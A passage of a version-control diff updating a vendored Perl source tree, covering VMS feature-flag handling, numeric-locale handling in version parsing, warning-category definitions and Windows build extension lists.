@@ -12262,8 +12239,8 @@
                            0,
                            0);
 
-      if (efs_hack && (decc_efs_charset_index > 0)) {
-          decc$feature_set_value(decc_efs_charset, 1, 0);
+      if (efs_hack && (efs_charset_index > 0)) {
+          decc$feature_set_value(efs_charset_index, 1, 0);
       }
 
       /* Fix me: If this is NULL then stat found a file, and we could */
@@ -12392,7 +12369,7 @@
     rms_nam_esll(nam) = 0;
     rms_nam_rsll(nam) = 0;
 #ifdef NAM$M_NO_SHORT_UPCASE
-    if (decc_efs_case_preserve)
+    if (DECC_EFS_CASE_PRESERVE)
 	rms_set_nam_nop(nam, NAM$M_NO_SHORT_UPCASE);
 #endif
 
@@ -12953,11 +12930,11 @@
       last = 0;
       dest = workbuff;
       for (source = work_name; *source; source++) {
-	if (last == toupper(*source)) {
+	if (last == toUPPER_A(*source)) {
 	continue;
 	}
 	*dest++ = *source;
-	last = toupper(*source);
+	last = toUPPER_A(*source);
       }
       my_strlcpy(work_name, workbuff, sizeof(work_name));
     }
@@ -13012,7 +12989,7 @@
         return NULL;
     }
 
-    vms_old_glob = !decc_filename_unix_report;
+    vms_old_glob = !DECC_FILENAME_UNIX_REPORT;
 
 #ifdef VMS_LONGNAME_SUPPORT
     lff_flags = LIB$M_FIL_LONG_NAMES;
@@ -13060,7 +13037,7 @@
     }
 
     /* In UNIX report mode, assume UNIX unless VMS directory delimiters seen */
-    if ((hasdir == 0) && decc_filename_unix_report) {
+    if ((hasdir == 0) && DECC_FILENAME_UNIX_REPORT) {
         isunix = 1;
     }
 
@@ -13112,7 +13089,7 @@
 	for (cp=wilddsc.dsc$a_pointer; ok && cp && *cp; cp++) {
 	    if (*cp == '?') {
                 wildquery = 1;
-                if (!decc_efs_charset)
+                if (!DECC_EFS_CHARSET)
                     *cp = '%';
             } else if (*cp == '%') {
                 wildquery = 1;
@@ -13174,7 +13151,7 @@
 
                 /* In Unix report mode, remove the ".dir;1" from the name */
                 /* if it is a real directory */
-                if (decc_filename_unix_report && decc_efs_charset) {
+                if (DECC_FILENAME_UNIX_REPORT && DECC_EFS_CHARSET) {
                     if (is_dir_ext(e_spec, e_len, vs_spec, vs_len)) {
                         Stat_t statbuf;
                         int ret_sts;
@@ -13189,14 +13166,14 @@
                 }
 
 		/* No version & a null extension on UNIX handling */
-		if ((e_len == 1) && decc_readdir_dropdotnotype) {
+		if ((e_len == 1) && DECC_READDIR_DROPDOTNOTYPE) {
 		    e_len = 0;
 		    *e_spec = '\0';
 		}
 	    }
 
-	    if (!decc_efs_case_preserve) {
-	        for (cp = rstr; *cp; cp++) *cp = _tolower(*cp);
+	    if (!DECC_EFS_CASE_PRESERVE) {
+	        for (cp = rstr; *cp; cp++) *cp = toLOWER_L1(*cp);
 	    }
 
             /* Find File treats a Null extension as return all extensions */
@@ -13403,7 +13380,7 @@
 {
   dTHX;
   char* file = __FILE__;
-  if (decc_disable_to_vms_logname_translation) {
+  if (DECC_DISABLE_TO_VMS_LOGNAME_TRANSLATION) {
     no_translate_barewords = TRUE;
   } else {
     no_translate_barewords = FALSE;
@@ -13533,8 +13510,8 @@
          * format unless * DECC$EFS_CHARSET is in effect, so temporarily
          * enable it if it isn't already.
          */
-        if (!decc_efs_charset && (decc_efs_charset_index > 0))
-            decc$feature_set_value(decc_efs_charset_index, 1, 1); 
+        if (!DECC_EFS_CHARSET && (efs_charset_index > 0))
+            decc$feature_set_value(efs_charset_index, 1, 1);
         ret_spec = int_tovmspath(name, temp_fspec, NULL);
         if (lstat_flag == 0) {
             sts = decc$stat(name, &statbuf);
@@ -13541,8 +13518,8 @@
         } else {
             sts = decc$lstat(name, &statbuf);
         }
-        if (!decc_efs_charset && (decc_efs_charset_index > 0))
-            decc$feature_set_value(decc_efs_charset_index, 1, 0); 
+        if (!DECC_EFS_CHARSET && (efs_charset_index > 0))
+            decc$feature_set_value(efs_charset_index, 1, 0);
     }
 
 
@@ -13591,7 +13568,7 @@
     char * rslt = NULL;
 
 #ifdef HAS_SYMLINK
-    if (decc_posix_compliant_pathnames > 0 ) {
+    if (DECC_POSIX_COMPLIANT_PATHNAMES) {
 	/* realpath currently only works if posix compliant pathnames are
 	 * enabled.  It may start working when they are not, but in that
 	 * case we still want the fallback behavior for backwards compatibility
@@ -13648,7 +13625,7 @@
 	            }
 
 	            /* Drop NULL extensions on UNIX file specification */
-		    if ((e_len == 1) && decc_readdir_dropdotnotype) {
+		    if ((e_len == 1) && DECC_READDIR_DROPDOTNOTYPE) {
 			e_len = 0;
 			e_spec[0] = '\0';
 		    }
@@ -13659,7 +13636,7 @@
                     /* Downcase if input had any lower case letters and 
 	             * case preservation is not in effect. 
 	             */
-	            if (!decc_efs_case_preserve) {
+	            if (!DECC_EFS_CASE_PRESERVE) {
 	                for (cp = filespec; *cp; cp++)
 	                    if (islower(*cp)) { haslower = 1; break; }
 
@@ -13670,7 +13647,7 @@
 
 	    /* Now for some hacks to deal with backwards and forward */
 	    /* compatibility */
-	    if (!decc_efs_charset) {
+	    if (!DECC_EFS_CHARSET) {
 
 		/* 1. ODS-2 mode wants to do a syntax only translation */
 		rslt = int_rmsexpand(filespec, outbuf,
@@ -13677,7 +13654,7 @@
 				    NULL, 0, NULL, utf8_fl);
 
 	    } else {
-		if (decc_filename_unix_report) {
+		if (DECC_FILENAME_UNIX_REPORT) {
 		    char * dir_name;
 		    char * vms_dir_name;
 		    char * file_name;
@@ -13810,7 +13787,7 @@
 	    /* Downcase if input had any lower case letters and 
 	     * case preservation is not in effect. 
 	     */
-	    if (!decc_efs_case_preserve) {
+	    if (!DECC_EFS_CASE_PRESERVE) {
 	        for (cp = filespec; *cp; cp++)
 	            if (islower(*cp)) { haslower = 1; break; }
 
@@ -13870,7 +13847,7 @@
     if (value > 0) {
         status = simple_trnlnm(name, val_str, sizeof(val_str));
         if (status) {
-            val_str[0] = _toupper(val_str[0]);
+            val_str[0] = toUPPER_A(val_str[0]);
             if (val_str[0] == 'D' || val_str[0] == '0' || val_str[0] == 'F')
 	        return 0;
         }
@@ -13908,9 +13885,9 @@
 extern void
 vmsperl_set_features(void)
 {
-    int status;
+    int status, initial;
     int s;
-    char val_str[10];
+    char val_str[LNM$C_NAMLENGTH+1];
 #if defined(JPI$_CASE_LOOKUP_PERM)
     const unsigned long int jpicode1 = JPI$_CASE_LOOKUP_PERM;
     const unsigned long int jpicode2 = JPI$_CASE_LOOKUP_IMAGE;
@@ -13922,7 +13899,7 @@
     vms_debug_on_exception = 0;
     status = simple_trnlnm("PERL_VMS_EXCEPTION_DEBUG", val_str, sizeof(val_str));
     if (status) {
-       val_str[0] = _toupper(val_str[0]);
+       val_str[0] = toUPPER_A(val_str[0]);
        if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
 	 vms_debug_on_exception = 1;
        else
@@ -13933,7 +13910,7 @@
     vms_debug_fileify = 0;
     status = simple_trnlnm("PERL_VMS_FILEIFY_DEBUG", val_str, sizeof(val_str));
     if (status) {
-	val_str[0] = _toupper(val_str[0]);
+	val_str[0] = toUPPER_A(val_str[0]);
         if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
 	    vms_debug_fileify = 1;
         else
@@ -13953,7 +13930,7 @@
     vms_bug_stat_filename = 0;
     status = simple_trnlnm("PERL_VMS_BUG_STAT_FILENAME", val_str, sizeof(val_str));
     if (status) {
-	val_str[0] = _toupper(val_str[0]);
+	val_str[0] = toUPPER_A(val_str[0]);
         if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
 	    vms_bug_stat_filename = 1;
         else
@@ -13965,7 +13942,7 @@
     vms_vtf7_filenames = 0;
     status = simple_trnlnm("PERL_VMS_VTF7_FILENAMES", val_str, sizeof(val_str));
     if (status) {
-       val_str[0] = _toupper(val_str[0]);
+       val_str[0] = toUPPER_A(val_str[0]);
        if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
 	 vms_vtf7_filenames = 1;
        else
@@ -13976,7 +13953,7 @@
     vms_unlink_all_versions = 0;
     status = simple_trnlnm("PERL_VMS_UNLINK_ALL_VERSIONS", val_str, sizeof(val_str));
     if (status) {
-       val_str[0] = _toupper(val_str[0]);
+       val_str[0] = toUPPER_A(val_str[0]);
        if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
 	 vms_unlink_all_versions = 1;
        else
@@ -14007,6 +13984,20 @@
     set_feature_default("DECC$ARGV_PARSE_STYLE", 1);     /* Requires extended parse. */
     set_feature_default("DECC$EFS_CHARSET", 1);
 
+   /* If POSIX root doesn't exist or nothing has set it explicitly, we disable it,
+    * which confusingly means enabling the feature.  For some reason only the default
+    * -- not current -- value can be set, so we cannot use the confusingly-named
+    * set_feature_default function, which sets the current value.
+    */
+    s = decc$feature_get_index("DECC$DISABLE_POSIX_ROOT");
+    disable_posix_root_index = s;
+
+    status = simple_trnlnm("SYS$POSIX_ROOT", val_str, LNM$C_NAMLENGTH);
+    initial = decc$feature_get_value(disable_posix_root_index, __FEATURE_MODE_INIT_STATE);
+    if (!status || !initial) {
+        decc$feature_set_value(disable_posix_root_index, 0, 1);
+    }
+
     /* hacks to see if known bugs are still present for testing */
 
     /* PCP mode requires creating /dev/null special device file */
@@ -14013,7 +14004,7 @@
     decc_bug_devnull = 0;
     status = simple_trnlnm("DECC_BUG_DEVNULL", val_str, sizeof(val_str));
     if (status) {
-       val_str[0] = _toupper(val_str[0]);
+       val_str[0] = toUPPER_A(val_str[0]);
        if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
           decc_bug_devnull = 1;
        else
@@ -14021,73 +14012,29 @@
     }
 
     s = decc$feature_get_index("DECC$DISABLE_TO_VMS_LOGNAME_TRANSLATION");
-    if (s >= 0) {
-	decc_disable_to_vms_logname_translation = decc$feature_get_value(s, 1);
-	if (decc_disable_to_vms_logname_translation < 0)
-	    decc_disable_to_vms_logname_translation = 0;
-    }
+    disable_to_vms_logname_translation_index = s;
 
     s = decc$feature_get_index("DECC$EFS_CASE_PRESERVE");
-    if (s >= 0) {
-	decc_efs_case_preserve = decc$feature_get_value(s, 1);
-	if (decc_efs_case_preserve < 0)
-	    decc_efs_case_preserve = 0;
-    }
+    efs_case_preserve_index = s;
 
     s = decc$feature_get_index("DECC$EFS_CHARSET");
-    decc_efs_charset_index = s;
-    if (s >= 0) {
-	decc_efs_charset = decc$feature_get_value(s, 1);
-	if (decc_efs_charset < 0)
-	    decc_efs_charset = 0;
-    }
+    efs_charset_index = s;
 
     s = decc$feature_get_index("DECC$FILENAME_UNIX_REPORT");
-    if (s >= 0) {
-	decc_filename_unix_report = decc$feature_get_value(s, 1);
-	if (decc_filename_unix_report > 0) {
-	    decc_filename_unix_report = 1;
-	    vms_posix_exit = 1;
-	}
-	else
-	    decc_filename_unix_report = 0;
-    }
+    filename_unix_report_index = s;
 
     s = decc$feature_get_index("DECC$FILENAME_UNIX_ONLY");
-    if (s >= 0) {
-	decc_filename_unix_only = decc$feature_get_value(s, 1);
-	if (decc_filename_unix_only > 0) {
-	    decc_filename_unix_only = 1;
-	}
-	else {
-	    decc_filename_unix_only = 0;
-	}
-    }
+    filename_unix_only_index = s;
 
     s = decc$feature_get_index("DECC$FILENAME_UNIX_NO_VERSION");
-    if (s >= 0) {
-	decc_filename_unix_no_version = decc$feature_get_value(s, 1);
-	if (decc_filename_unix_no_version < 0)
-	    decc_filename_unix_no_version = 0;
-    }
+    filename_unix_no_version_index = s;
 
     s = decc$feature_get_index("DECC$READDIR_DROPDOTNOTYPE");
-    if (s >= 0) {
-	decc_readdir_dropdotnotype = decc$feature_get_value(s, 1);
-	if (decc_readdir_dropdotnotype < 0)
-	    decc_readdir_dropdotnotype = 0;
-    }
+    readdir_dropdotnotype_index = s;
 
 #if __CRTL_VER >= 80200000
     s = decc$feature_get_index("DECC$POSIX_COMPLIANT_PATHNAMES");
-    if (s >= 0) {
-	decc_posix_compliant_pathnames = decc$feature_get_value(s, 1);
-	if (decc_posix_compliant_pathnames < 0)
-	    decc_posix_compliant_pathnames = 0;
-	if (decc_posix_compliant_pathnames > 4)
-	    decc_posix_compliant_pathnames = 0;
-    }
-
+    posix_compliant_pathnames_index = s;
 #endif
 
 #if defined(JPI$_CASE_LOOKUP_PERM) && defined(PPROP$K_CASE_BLIND)
@@ -14110,7 +14057,7 @@
     /* for strict backward compatibility */
     status = simple_trnlnm("PERL_VMS_POSIX_EXIT", val_str, sizeof(val_str));
     if (status) {
-       val_str[0] = _toupper(val_str[0]);
+       val_str[0] = toUPPER_A(val_str[0]);
        if ((val_str[0] == 'E') || (val_str[0] == '1') || (val_str[0] == 'T'))
 	 vms_posix_exit = 1;
        else

Modified: vendor/perl/dist/vms/vmsish.h
===================================================================
--- vendor/perl/dist/vms/vmsish.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/vms/vmsish.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -100,12 +100,6 @@
  * we'll use ours, since it gives us the full VMS exit status. */
 #define waitpid my_waitpid
 
-/* Don't redeclare standard RTL routines in Perl's header files;
- * VMS history or extensions makes some of the formal protoypes
- * differ from the common Unix forms.
- */
-#define DONT_DECLARE_STD 1
-
 /* Our own contribution to PerlShr's global symbols . . . */
 
 #if !defined(PERL_IMPLICIT_CONTEXT)
@@ -591,7 +585,7 @@
 #endif
 
 typedef unsigned mydev_t;
-#ifndef _LARGEFILE
+#if !defined(_USE_STD_STAT) && !defined(_LARGEFILE)
 typedef unsigned myino_t;
 #else
 typedef __ino64_t myino_t;
@@ -601,7 +595,7 @@
 {
     struct stat crtl_stat;
     myino_t st_ino;
-#ifndef _LARGEFILE
+#if !defined(_USE_STD_STAT) && !defined(_LARGEFILE)
     unsigned rvn; /* FID (num,seq,rvn) + pad */
 #endif
     mydev_t st_dev;
@@ -622,7 +616,7 @@
 #define st_fab_fsz crtl_stat.st_fab_fsz
 #define st_fab_mrs crtl_stat.st_fab_mrs
 
-#ifdef _USE_STD_STAT
+#if defined(_USE_STD_STAT) || defined(_LARGEFILE)
 #define VMS_INO_T_COMPARE(__a, __b) (__a != __b)
 #define VMS_INO_T_COPY(__a, __b) __a = __b
 #else

Modified: vendor/perl/dist/vutil.c
===================================================================
--- vendor/perl/dist/vutil.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/vutil.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -491,10 +491,10 @@
 	    ver = SvRV(ver);
 
 	/* Begin copying all of the elements */
-	if ( hv_existss(MUTABLE_HV(ver), "qv") )
+	if ( hv_exists(MUTABLE_HV(ver), "qv", 2) )
 	    (void)hv_stores(MUTABLE_HV(hv), "qv", newSViv(1));
 
-	if ( hv_existss(MUTABLE_HV(ver), "alpha") )
+	if ( hv_exists(MUTABLE_HV(ver), "alpha", 5) )
 	    (void)hv_stores(MUTABLE_HV(hv), "alpha", newSViv(1));
 	{
 	    SV ** svp = hv_fetchs(MUTABLE_HV(ver), "width", FALSE);
@@ -618,54 +618,121 @@
 	    goto VER_PV;
 	}
 #endif
+#ifdef USE_LOCALE_NUMERIC
 
-#ifdef USE_LOCALE_NUMERIC
 	{
-	    const char * const cur_numeric = setlocale(LC_NUMERIC, NULL);
-	    assert(cur_numeric);
+            /* This may or may not be called from code that has switched
+             * locales without letting perl know, therefore we have to find it
+             * from first principals.  See [perl #121930]. */
 
-	    /* XS code can set the locale without us knowing.  To protect the
-	     * version number parsing, which requires the radix character to be a
-	     * dot, update our records as to what the locale is, so that our
-	     * existing macro mechanism can correctly change it to a dot and back
-	     * if necessary.  This code is extremely unlikely to be in a loop, so
-	     * the extra work will have a negligible performance impact.  See [perl
-	     * #121930].
-	     *
-	     * If the current locale is a standard one, but we are expecting it to
-	     * be a different, underlying locale, update our records to make the
-	     * underlying locale this (standard) one.  If the current locale is not
-	     * a standard one, we should be expecting a non-standard one, the same
-	     * one that we have recorded as the underlying locale.  If not, update
-	     * our records. */
-	    if (strEQ(cur_numeric, "C") || strEQ(cur_numeric, "POSIX")) {
-		if (! PL_numeric_standard) {
-		    new_numeric(cur_numeric);
-		}
+            /* In windows, or not threaded, or not thread-safe, if it isn't C,
+             * set it to C. */
+
+#  ifndef USE_POSIX_2008_LOCALE
+
+            const char * locale_name_on_entry;
+
+            LC_NUMERIC_LOCK(0);    /* Start critical section */
+
+            locale_name_on_entry = setlocale(LC_NUMERIC, NULL);
+            if (   strNE(locale_name_on_entry, "C")
+                && strNE(locale_name_on_entry, "POSIX"))
+            {
+                setlocale(LC_NUMERIC, "C");
+            }
+            else {  /* This value indicates to the restore code that we didn't
+                       change the locale */
+                locale_name_on_entry = NULL;
+            }
+
+# else
+
+            const locale_t locale_obj_on_entry = uselocale((locale_t) 0);
+            const char * locale_name_on_entry = NULL;
+            DECLARATION_FOR_LC_NUMERIC_MANIPULATION;
+
+            if (locale_obj_on_entry == LC_GLOBAL_LOCALE) {
+
+                /* in the global locale, we can call system setlocale and if it
+                 * isn't C, set it to C. */
+                LC_NUMERIC_LOCK(0);
+
+                locale_name_on_entry = setlocale(LC_NUMERIC, NULL);
+                if (   strNE(locale_name_on_entry, "C")
+                    && strNE(locale_name_on_entry, "POSIX"))
+                {
+                    setlocale(LC_NUMERIC, "C");
+                }
+                else {  /* This value indicates to the restore code that we
+                           didn't change the locale */
+                    locale_name_on_entry = NULL;
 	    }
-	    else if (PL_numeric_standard
-		     || ! PL_numeric_name
-		     || strNE(PL_numeric_name, cur_numeric))
-	    {
-		new_numeric(cur_numeric);
-	    }
 	}
+            else if (locale_obj_on_entry == PL_underlying_numeric_obj) {
+                /* Here, the locale appears to have been changed to use the
+                 * program's underlying locale.  Just use our mechanisms to
+                 * switch back to C.   It might be possible for this pointer to
+                 * actually refer to something else if it got released and
+                 * reused somehow.  But it doesn't matter, our mechanisms will
+                 * work even so */
+                STORE_LC_NUMERIC_SET_STANDARD();
+            }
+            else if (locale_obj_on_entry != PL_C_locale_obj) {
+                /* The C object should be unchanged during a program's
+                 * execution, so it should be safe to assume it means what it
+                 * says, so if we are in it, no locale change is required.
+                 * Otherwise, simply use the thread-safe operation. */
+                uselocale(PL_C_locale_obj);
+            }
+
+# endif
+
+            /* Prevent recursed calls from trying to change back */
+            LOCK_LC_NUMERIC_STANDARD();
+
 #endif
-        { /* Braces needed because macro just below declares a variable */
-        STORE_NUMERIC_LOCAL_SET_STANDARD();
-        LOCK_NUMERIC_STANDARD();
+
 	if (sv) {
-	    Perl_sv_catpvf(aTHX_ sv, "%.9"NVff, SvNVX(ver));
+                Perl_sv_catpvf(aTHX_ sv, "%.9" NVff, SvNVX(ver));
 	    len = SvCUR(sv);
 	    buf = SvPVX(sv);
 	}
 	else {
-	    len = my_snprintf(tbuf, sizeof(tbuf), "%.9"NVff, SvNVX(ver));
+                len = my_snprintf(tbuf, sizeof(tbuf), "%.9" NVff, SvNVX(ver));
 	    buf = tbuf;
 	}
-        UNLOCK_NUMERIC_STANDARD();
-        RESTORE_NUMERIC_LOCAL();
+
+#ifdef USE_LOCALE_NUMERIC
+
+            UNLOCK_LC_NUMERIC_STANDARD();
+
+#  ifndef USE_POSIX_2008_LOCALE
+
+            if (locale_name_on_entry) {
+                setlocale(LC_NUMERIC, locale_name_on_entry);
+            }
+
+            LC_NUMERIC_UNLOCK;  /* End critical section */
+
+#  else
+
+            if (locale_name_on_entry) {
+                setlocale(LC_NUMERIC, locale_name_on_entry);
+                LC_NUMERIC_UNLOCK;
+            }
+            else if (locale_obj_on_entry == PL_underlying_numeric_obj) {
+                RESTORE_LC_NUMERIC();
+            }
+            else if (locale_obj_on_entry != PL_C_locale_obj) {
+                uselocale(locale_obj_on_entry);
         }
+
+#  endif
+
+        }
+
+#endif  /* USE_LOCALE_NUMERIC */
+
 	while (buf[len-1] == '0' && len > 0) len--;
 	if ( buf[len-1] == '.' ) len--; /* eat the trailing decimal */
 	version = savepvn(buf, len);
@@ -840,7 +907,7 @@
 	Perl_croak(aTHX_ "Invalid version object");
 
     /* see if various flags exist */
-    if ( hv_existss(MUTABLE_HV(vs), "alpha") )
+    if ( hv_exists(MUTABLE_HV(vs), "alpha", 5 ) )
 	alpha = TRUE;
 
     if (alpha) {
@@ -922,11 +989,11 @@
 	SV * tsv = *av_fetch(av, 0, 0);
 	digit = SvIV(tsv);
     }
-    sv = Perl_newSVpvf(aTHX_ "v%"IVdf, (IV)digit);
+    sv = Perl_newSVpvf(aTHX_ "v%" IVdf, (IV)digit);
     for ( i = 1 ; i <= len ; i++ ) {
 	SV * tsv = *av_fetch(av, i, 0);
 	digit = SvIV(tsv);
-	Perl_sv_catpvf(aTHX_ sv, ".%"IVdf, (IV)digit);
+	Perl_sv_catpvf(aTHX_ sv, ".%" IVdf, (IV)digit);
     }
 
     if ( len <= 2 ) { /* short version, must be at least three */
@@ -968,13 +1035,17 @@
     if (svp) {
 	SV *pv;
 	pv = *svp;
-	if ( SvPOK(pv) )
+	if ( SvPOK(pv)
+#if PERL_VERSION_LT(5,17,2)
+	    || SvPOKp(pv)
+#endif
+	)
 	    return newSVsv(pv);
 	else
 	    return &PL_sv_undef;
     }
     else {
-	if ( hv_existss(MUTABLE_HV(vs), "qv") )
+	if ( hv_exists(MUTABLE_HV(vs), "qv", 2) )
 	    return VNORMAL(vs);
 	else
 	    return VNUMIFY(vs);

Modified: vendor/perl/dist/vutil.h
===================================================================
--- vendor/perl/dist/vutil.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/vutil.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -115,7 +115,7 @@
             Perl_croak_nocontext("Usage: %s(%s)", gvname, params);
     } else {
         /* Pants. I don't think that it should be possible to get here. */
-        Perl_croak_nocontext("Usage: CODE(0x%"UVxf")(%s)", PTR2UV(cv), params);
+        Perl_croak_nocontext("Usage: CODE(0x%" UVxf ")(%s)", PTR2UV(cv), params);
     }
 }
 
@@ -223,29 +223,43 @@
 #endif
 
 
-#if PERL_VERSION_LT(5,19,0)
-# undef STORE_NUMERIC_LOCAL_SET_STANDARD
-# undef RESTORE_NUMERIC_LOCAL
-# ifdef USE_LOCALE
-#  define STORE_NUMERIC_LOCAL_SET_STANDARD()\
-	char *loc = savepv(setlocale(LC_NUMERIC, NULL)); \
-	SAVEFREEPV(loc); \
-	setlocale(LC_NUMERIC, "C");
-
-#  define RESTORE_NUMERIC_LOCAL()\
-	setlocale(LC_NUMERIC, loc);
-# else
-#  define STORE_NUMERIC_LOCAL_SET_STANDARD()
-#  define RESTORE_NUMERIC_LOCAL()
-# endif
+#if PERL_VERSION_LT(5,27,9)
+#  define LC_NUMERIC_LOCK
+#  define LC_NUMERIC_UNLOCK
+#  if PERL_VERSION_LT(5,19,0)
+#    undef STORE_LC_NUMERIC_SET_STANDARD
+#    undef RESTORE_LC_NUMERIC
+#    undef DECLARATION_FOR_LC_NUMERIC_MANIPULATION
+#    ifdef USE_LOCALE
+#      define DECLARATION_FOR_LC_NUMERIC_MANIPULATION char *loc
+#      define STORE_NUMERIC_SET_STANDARD()\
+	 loc = savepv(setlocale(LC_NUMERIC, NULL));  \
+	 SAVEFREEPV(loc); \
+	 setlocale(LC_NUMERIC, "C");
+#      define RESTORE_LC_NUMERIC()\
+	 setlocale(LC_NUMERIC, loc);
+#    else
+#      define DECLARATION_FOR_LC_NUMERIC_MANIPULATION
+#      define STORE_LC_NUMERIC_SET_STANDARD()
+#      define RESTORE_LC_NUMERIC()
+#    endif
+#  endif
 #endif
 
 #ifndef LOCK_NUMERIC_STANDARD
-#define LOCK_NUMERIC_STANDARD()
+#  define LOCK_NUMERIC_STANDARD()
 #endif
 
 #ifndef UNLOCK_NUMERIC_STANDARD
-#define UNLOCK_NUMERIC_STANDARD()
+#  define UNLOCK_NUMERIC_STANDARD()
 #endif
 
+/* The names of these changed in 5.28 */
+#ifndef LOCK_LC_NUMERIC_STANDARD
+#  define LOCK_LC_NUMERIC_STANDARD() LOCK_NUMERIC_STANDARD()
+#endif
+#ifndef UNLOCK_LC_NUMERIC_STANDARD
+#  define UNLOCK_LC_NUMERIC_STANDARD() UNLOCK_NUMERIC_STANDARD()
+#endif
+
 /* ex: set ro: */

Modified: vendor/perl/dist/vxs.inc
===================================================================
--- vendor/perl/dist/vxs.inc	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/vxs.inc	2018-12-22 22:55:19 UTC (rev 12126)
@@ -138,7 +138,7 @@
 			    name, SvPVx_nolen_const(req));
 #else
 		Perl_croak(aTHX_
-			   "%"HEKf" does not define $%"HEKf
+			   "%" HEKf " does not define $%" HEKf
 			   "::VERSION--version check failed",
 			   HEKfARG(name), HEKfARG(name));
 #endif
@@ -146,7 +146,8 @@
 	    else {
 #if PERL_VERSION >= 8
 		Perl_croak(aTHX_
-			     "%"SVf" defines neither package nor VERSION--version check failed",
+			     "%" SVf " defines neither package nor VERSION--"
+                             "version check failed",
 			     (void*)(ST(0)) );
 #else
 		Perl_croak(aTHX_ "%s does not define $%s::VERSION--version check failed",
@@ -162,7 +163,7 @@
 	}
 
 	if ( VCMP( req, sv ) > 0 ) {
-	    if ( hv_existss(MUTABLE_HV(SvRV(req)), "qv") ) {
+	    if ( hv_exists(MUTABLE_HV(SvRV(req)), "qv", 2 ) ) {
 		req = VNORMAL(req);
 		sv  = VNORMAL(sv);
 	    }
@@ -170,8 +171,8 @@
 		req = VSTRINGIFY(req);
 		sv  = VSTRINGIFY(sv);
 	    }
-	    Perl_croak(aTHX_ "%"HEKf" version %"SVf" required--"
-		"this is only version %"SVf"", HEKfARG(HvNAME_HEK(pkg)),
+	    Perl_croak(aTHX_ "%" HEKf " version %" SVf " required--"
+		"this is only version %" SVf, HEKfARG(HvNAME_HEK(pkg)),
 		SVfARG(sv_2mortal(req)),
 		SVfARG(sv_2mortal(sv)));
 	}
@@ -218,7 +219,7 @@
         SvGETMAGIC(vs);
         if(SvOK(vs))
             break;
-        /* drop through */
+        /* fall through */
     case 1:
         /* no param or explicit undef */
         /* create empty object */

Modified: vendor/perl/dist/warnings.h
===================================================================
--- vendor/perl/dist/warnings.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/warnings.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -115,10 +115,16 @@
 
 #define WARN_EXPERIMENTAL__DECLARED_REFS 66
 
-#define WARNsize			 17
-#define WARN_ALLstring			 "\125\125\125\125\125\125\125\125\125\125\125\125\125\125\125\125\125"
-#define WARN_NONEstring			 "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
+/* Warnings Categories added in Perl 5.027 */
 
+#define WARN_EXPERIMENTAL__ALPHA_ASSERTIONS 67
+#define WARN_EXPERIMENTAL__SCRIPT_RUN	 68
+#define WARN_SHADOW			 69
+
+#define WARNsize			 18
+#define WARN_ALLstring			 "\125\125\125\125\125\125\125\125\125\125\125\125\125\125\125\125\125\125"
+#define WARN_NONEstring			 "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
+
 #define isLEXWARN_on \
 	cBOOL(PL_curcop && PL_curcop->cop_warnings != pWARN_STD)
 #define isLEXWARN_off \
@@ -221,13 +227,15 @@
 #define unpackWARN4(x)		(((x) >>24) & 0xFF)
 
 #define ckDEAD(x)							\
-	   (PL_curcop &&                                                \
-            !specialWARN(PL_curcop->cop_warnings) &&			\
-	    ( isWARNf_on(PL_curcop->cop_warnings, WARN_ALL) || 		\
-	      isWARNf_on(PL_curcop->cop_warnings, unpackWARN1(x)) ||	\
-	      isWARNf_on(PL_curcop->cop_warnings, unpackWARN2(x)) ||	\
-	      isWARNf_on(PL_curcop->cop_warnings, unpackWARN3(x)) ||	\
-	      isWARNf_on(PL_curcop->cop_warnings, unpackWARN4(x))))
+   (PL_curcop &&                                                        \
+    !specialWARN(PL_curcop->cop_warnings) &&			        \
+    (isWARNf_on(PL_curcop->cop_warnings, unpackWARN1(x)) ||	        \
+      (unpackWARN2(x) &&                                                \
+	(isWARNf_on(PL_curcop->cop_warnings, unpackWARN2(x)) ||	        \
+	  (unpackWARN3(x) &&                                            \
+	    (isWARNf_on(PL_curcop->cop_warnings, unpackWARN3(x)) ||	\
+	      (unpackWARN4(x) &&                                        \
+		isWARNf_on(PL_curcop->cop_warnings, unpackWARN4(x)))))))))
 
 /* end of file warnings.h */
 

Modified: vendor/perl/dist/win32/FindExt.pm
===================================================================
--- vendor/perl/dist/win32/FindExt.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/FindExt.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
 use warnings;
 
 my $no = join('|',qw(Amiga.* GDBM_File ODBM_File NDBM_File DB_File
-                     VMS.* Sys-Syslog IPC-SysV I18N-Langinfo));
+                     VMS.* Sys-Syslog IPC-SysV));
 $no = qr/^(?:$no)$/i;
 
 sub apply_config {
@@ -18,7 +18,6 @@
     # duplicates logic from Configure (mostly)
     push @no, "DB_File" unless $config->{i_db};
     push @no, "GDBM_File" unless $config->{i_gdbm};
-    push @no, "I18N-Langinfo" unless $config->{i_langinfo} && $config->{d_nl_langinfo};
     push @no, "IPC-SysV" unless $config->{d_msg} || $config->{d_sem} || $config->{d_shm};
     push @no, "NDBM_File" unless $config->{d_ndbm};
     push @no, "ODBM_File"

Modified: vendor/perl/dist/win32/GNUmakefile
===================================================================
--- vendor/perl/dist/win32/GNUmakefile	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/GNUmakefile	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,11 +2,12 @@
 # Makefile to build perl on Windows using GMAKE.
 # Supported compilers:
